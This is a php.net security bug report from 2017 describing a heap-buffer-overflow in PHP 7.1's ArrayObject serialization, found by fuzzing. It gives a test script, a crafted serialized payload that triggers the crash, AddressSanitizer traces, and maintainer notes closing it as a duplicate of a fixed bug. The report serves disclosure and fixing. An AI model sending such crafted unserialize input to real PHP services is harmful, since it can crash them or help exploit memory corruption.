php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #74194 a heap-buffer-overflow when serializing ArrayObject
Submitted: 2017-03-02 07:55 UTC Modified: 2017-08-12 19:01 UTC
From: varsleak at gmail dot com Assigned: nikic (profile)
Status: Closed Package: *General Issues
PHP Version: 7.1Git-2017-03-02 (Git) OS: Test on Ubuntu 16.04 x64
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: varsleak at gmail dot com
New email:
PHP Version: OS:

 

 [2017-03-02 07:55 UTC] varsleak at gmail dot com
Description:
------------
the bug was found by honggfuzz.

Test script:
---------------
<?php
	if ($argc != 2) {
		print_r("" . $argv[0] . " path/to/data\n");
		return;
	}

	$poc = unserialize(file_get_contents($argv[1]));

	serialize($poc);
?>

the data:

O:8:"stdClass":31:0s:1:"0";a:0:{}s:1:"b";C:11:"ArrayObject":431:0x:i:0;a:1:{i:0;O:12:"DateInterval":15:0s:1:"y";i:-003000000;s:1:"m";i:0;s:1:"d";i:1000000000;s:1:"h";i:800000000;s:1:"i";i:1000000000;s:1:"s";i:-100000000;s:7:"weekday";i:0;s:16:"weekday_behavior";i:20;s:17:"first_last_day_of";i:900000000;s:6:"invert";i:1000000000;s:4:"days";i:1000000000;s:12:"special_type";i:1000000000;s:14:"special_amount";i:4000000;s:21:"have_weekday_relative";i:0;s:21:"have_special_relative";i:0;}};m:a:0:{}}s:2:"00";a:1:{i:0;r:6;}s:2:"01";a:1:{i:0;r:6;}s:2:"02";a:1:{i:0;r:6;}s:2:"03";a:1:{i:0;r:6;}s:2:"c0";a:1:{i:0;r:6;}s:2:"c5";a:1:{i:0;r:6;}s:2:"c6";a:1:{i:0;r:6;}s:2:"c7";a:1:{i:0;r:6;}s:2:"c8";a:1:{i:0;r:6;}s:2:"c9";a:1:{i:0;r:6;}s:3:"000";a:1:{i:0;r:6;}s:3:"c11";a:1:{i:0;r:6;}s:3:"c12";a:1:{i:0;r:6;}s:3:"c13";a:1:{i:0;r:6;}s:3:"004";a:1:{i:0;r:6;}s:3:"005";a:1:{i:0;r:6;}s:3:"006";a:1:{i:0;r:6;}s:3:"007";a:1:{i:0;r:6;}s:3:"008";a:1:{i:0;r:6;}s:3:"009";a:1:{i:0;r:6;}s:3:"c20";a:1:{i:0;r:6;}s:3:"c21";a:1:{i:0;r:6;}s:3:"c22";a:1:{i:0;r:6;}s:1:"d";a:1:{i:0;r:6;}s:1:"e";i:0;s:1:"f";a:23:{i:0;a:1:{i:0;r:6;}i:1;a:1:{i:0;r:6;}i:2;a:1:{i:0;r:6;}i:3;a:1:{i:0;r:6;}i:4;a:1:{i:0;r:6;}i:5;a:1:{i:0;r:6;}i:6;a:1:{i:0;r:6;}i:7;a:1:{i:0;r:6;}i:8;a:1:{i:0;r:6;}i:9;a:1:{i:0;r:6;}i:10;a:1:{i:0;r:6;}i:11;a:1:{i:0;r:6;}i:12;a:1:{i:0;r:6;}i:13;a:1:{i:0;r:6;}i:14;a:1:{i:0;r:6;}i:15;a:1:{i:0;r:6;}i:16;a:1:{i:0;r:6;}i:17;a:1:{i:0;r:6;}i:18;a:1:{i:0;r:6;}i:19;a:1:{i:0;R:5;}i:20;a:1:{i:0;r:6;}i:21;a:1:{i:0;r:6;}i:22;a:1:{i:0;r:6;}}s:1:"g";i:0;s:1:"h";i:0;s:1:"i";i:0;}

notice:
    copy the data to a file, and run `path/to/php-7.1.3 -f path/to/poc.php path/to/data

Expected result:
----------------
no crash!

Actual result:
--------------
this is USE_ZEND_ALLOC=1 ASAN crash:

➜  php-fuzzer USE_ZEND_ALLOC=1 ./php.71.3RC1 ./modify.crash.php SIGSEGV.PC.b15209.STACK.e0c7bda55.CODE.2.ADDR.0x1675380.INSTR.mov____%edx,\(%rax\).fuzz
ASAN:SIGSEGV
=================================================================
==586==ERROR: AddressSanitizer: SEGV on unknown address 0x000001675380 (pc 0x000000b15209 bp 0x7fff0b358540 sp 0x7fff0b358520 T0)
    #0 0xb15208 in spl_array_get_hash_table_ptr /home/varsleak/github/php-src/ext/spl/spl_array.c:103
    #1 0xb15291 in spl_array_get_hash_table /home/varsleak/github/php-src/ext/spl/spl_array.c:113
    #2 0xb1fa74 in zim_spl_Array_serialize /home/varsleak/github/php-src/ext/spl/spl_array.c:1686
    #3 0xe2ae83 in zend_call_function /home/varsleak/github/php-src/Zend/zend_execute_API.c:860
    #4 0xecd949 in zend_call_method /home/varsleak/github/php-src/Zend/zend_interfaces.c:99
    #5 0xecfae0 in zend_user_serialize /home/varsleak/github/php-src/Zend/zend_interfaces.c:413
    #6 0xc8e00c in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:870
    #7 0xc8ee7f in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:978
    #8 0xc8f0cb in php_var_serialize /home/varsleak/github/php-src/ext/standard/var.c:1000
    #9 0xc8f6b3 in zif_serialize /home/varsleak/github/php-src/ext/standard/var.c:1047
    #10 0xf50698 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/varsleak/github/php-src/Zend/zend_vm_execute.h:628
    #11 0xf4f417 in execute_ex /home/varsleak/github/php-src/Zend/zend_vm_execute.h:429
    #12 0xf4f692 in zend_execute /home/varsleak/github/php-src/Zend/zend_vm_execute.h:474
    #13 0xe68ac1 in zend_execute_scripts /home/varsleak/github/php-src/Zend/zend.c:1476
    #14 0xd224e1 in php_execute_script /home/varsleak/github/php-src/main/main.c:2537
    #15 0x10d63b2 in do_cli /home/varsleak/github/php-src/sapi/cli/php_cli.c:993
    #16 0x10d81cf in main /home/varsleak/github/php-src/sapi/cli/php_cli.c:1381
    #17 0x7fe8035fd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #18 0x425dc8 in _start (/home/varsleak/github/php-fuzzer/php.71.3RC1+0x425dc8)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/varsleak/github/php-src/ext/spl/spl_array.c:103 spl_array_get_hash_table_ptr
==586==ABORTING



this is USE_ZEND_ALLOC=0 ASAN crash:

➜  php-fuzzer USE_ZEND_ALLOC=0 ./php.71.3RC1 ./modify.crash.php SIGSEGV.PC.b15209.STACK.e0c7bda55.CODE.2.ADDR.0x1675380.INSTR.mov____%edx,\(%rax\).fuzz
=================================================================
==15072==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000022d70 at pc 0x000000b150f0 bp 0x7ffd0578a920 sp 0x7ffd0578a910
READ of size 8 at 0x603000022d70 thread T0
    #0 0xb150ef in spl_array_get_hash_table_ptr /home/varsleak/github/php-src/ext/spl/spl_array.c:99
    #1 0xb15291 in spl_array_get_hash_table /home/varsleak/github/php-src/ext/spl/spl_array.c:113
    #2 0xb1fa74 in zim_spl_Array_serialize /home/varsleak/github/php-src/ext/spl/spl_array.c:1686
    #3 0xe2ae83 in zend_call_function /home/varsleak/github/php-src/Zend/zend_execute_API.c:860
    #4 0xecd949 in zend_call_method /home/varsleak/github/php-src/Zend/zend_interfaces.c:99
    #5 0xecfae0 in zend_user_serialize /home/varsleak/github/php-src/Zend/zend_interfaces.c:413
    #6 0xc8e00c in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:870
    #7 0xc8ee7f in php_var_serialize_intern /home/varsleak/github/php-src/ext/standard/var.c:978
    #8 0xc8f0cb in php_var_serialize /home/varsleak/github/php-src/ext/standard/var.c:1000
    #9 0xc8f6b3 in zif_serialize /home/varsleak/github/php-src/ext/standard/var.c:1047
    #10 0xf50698 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/varsleak/github/php-src/Zend/zend_vm_execute.h:628
    #11 0xf4f417 in execute_ex /home/varsleak/github/php-src/Zend/zend_vm_execute.h:429
    #12 0xf4f692 in zend_execute /home/varsleak/github/php-src/Zend/zend_vm_execute.h:474
    #13 0xe68ac1 in zend_execute_scripts /home/varsleak/github/php-src/Zend/zend.c:1476
    #14 0xd224e1 in php_execute_script /home/varsleak/github/php-src/main/main.c:2537
    #15 0x10d63b2 in do_cli /home/varsleak/github/php-src/sapi/cli/php_cli.c:993
    #16 0x10d81cf in main /home/varsleak/github/php-src/sapi/cli/php_cli.c:1381
    #17 0x7f4e5d9ee82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #18 0x425dc8 in _start (/home/varsleak/github/php-fuzzer/php.71.3RC1+0x425dc8)

0x603000022d70 is located 8 bytes to the right of 24-byte region [0x603000022d50,0x603000022d68)
allocated by thread T0 here:
    #0 0x7f4e5ed99602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0xde13b0 in __zend_malloc /home/varsleak/github/php-src/Zend/zend_alloc.c:2820
    #2 0xddf756 in _emalloc /home/varsleak/github/php-src/Zend/zend_alloc.c:2413
    #3 0xcb524f in php_var_unserialize_internal ext/standard/var_unserializer.re:644
    #4 0xcb24b6 in process_nested_data ext/standard/var_unserializer.re:452
    #5 0xcb725b in php_var_unserialize_internal ext/standard/var_unserializer.re:822
    #6 0xcb24b6 in process_nested_data ext/standard/var_unserializer.re:452
    #7 0xcb725b in php_var_unserialize_internal ext/standard/var_unserializer.re:822
    #8 0xcb24b6 in process_nested_data ext/standard/var_unserializer.re:452
    #9 0xcb2e09 in object_common2 ext/standard/var_unserializer.re:556
    #10 0xcb6daf in php_var_unserialize_internal ext/standard/var_unserializer.re:989
    #11 0xcb31d9 in php_var_unserialize ext/standard/var_unserializer.re:584
    #12 0xc8ff9d in zif_unserialize /home/varsleak/github/php-src/ext/standard/var.c:1114
    #13 0xf50c6b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/varsleak/github/php-src/Zend/zend_vm_execute.h:675
    #14 0xf4f417 in execute_ex /home/varsleak/github/php-src/Zend/zend_vm_execute.h:429
    #15 0xf4f692 in zend_execute /home/varsleak/github/php-src/Zend/zend_vm_execute.h:474
    #16 0xe68ac1 in zend_execute_scripts /home/varsleak/github/php-src/Zend/zend.c:1476
    #17 0xd224e1 in php_execute_script /home/varsleak/github/php-src/main/main.c:2537
    #18 0x10d63b2 in do_cli /home/varsleak/github/php-src/sapi/cli/php_cli.c:993
    #19 0x10d81cf in main /home/varsleak/github/php-src/sapi/cli/php_cli.c:1381
    #20 0x7f4e5d9ee82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/varsleak/github/php-src/ext/spl/spl_array.c:99 spl_array_get_hash_table_ptr
Shadow bytes around the buggy address:
  0x0c067fffc550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc560: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc570: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffc590: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fffc5a0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa[fa]fa
  0x0c067fffc5b0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fffc5c0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fffc5d0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fffc5e0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fffc5f0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==15072==ABORTING


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-07-02 20:36 UTC] stas@php.net
-Summary: a heap-buffer-overflow was found at spl_array_get_hash_table_ptr +Summary: a heap-buffer-overflow when serializing ArrayObject
 [2017-08-12 19:01 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 [2017-08-12 19:01 UTC] nikic@php.net
The relevant part here is the R:5 referencing back the array of the ArrayObject, so this is the same as bug #74844, which is fixed by bug #74669.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 09:01:32 2024 UTC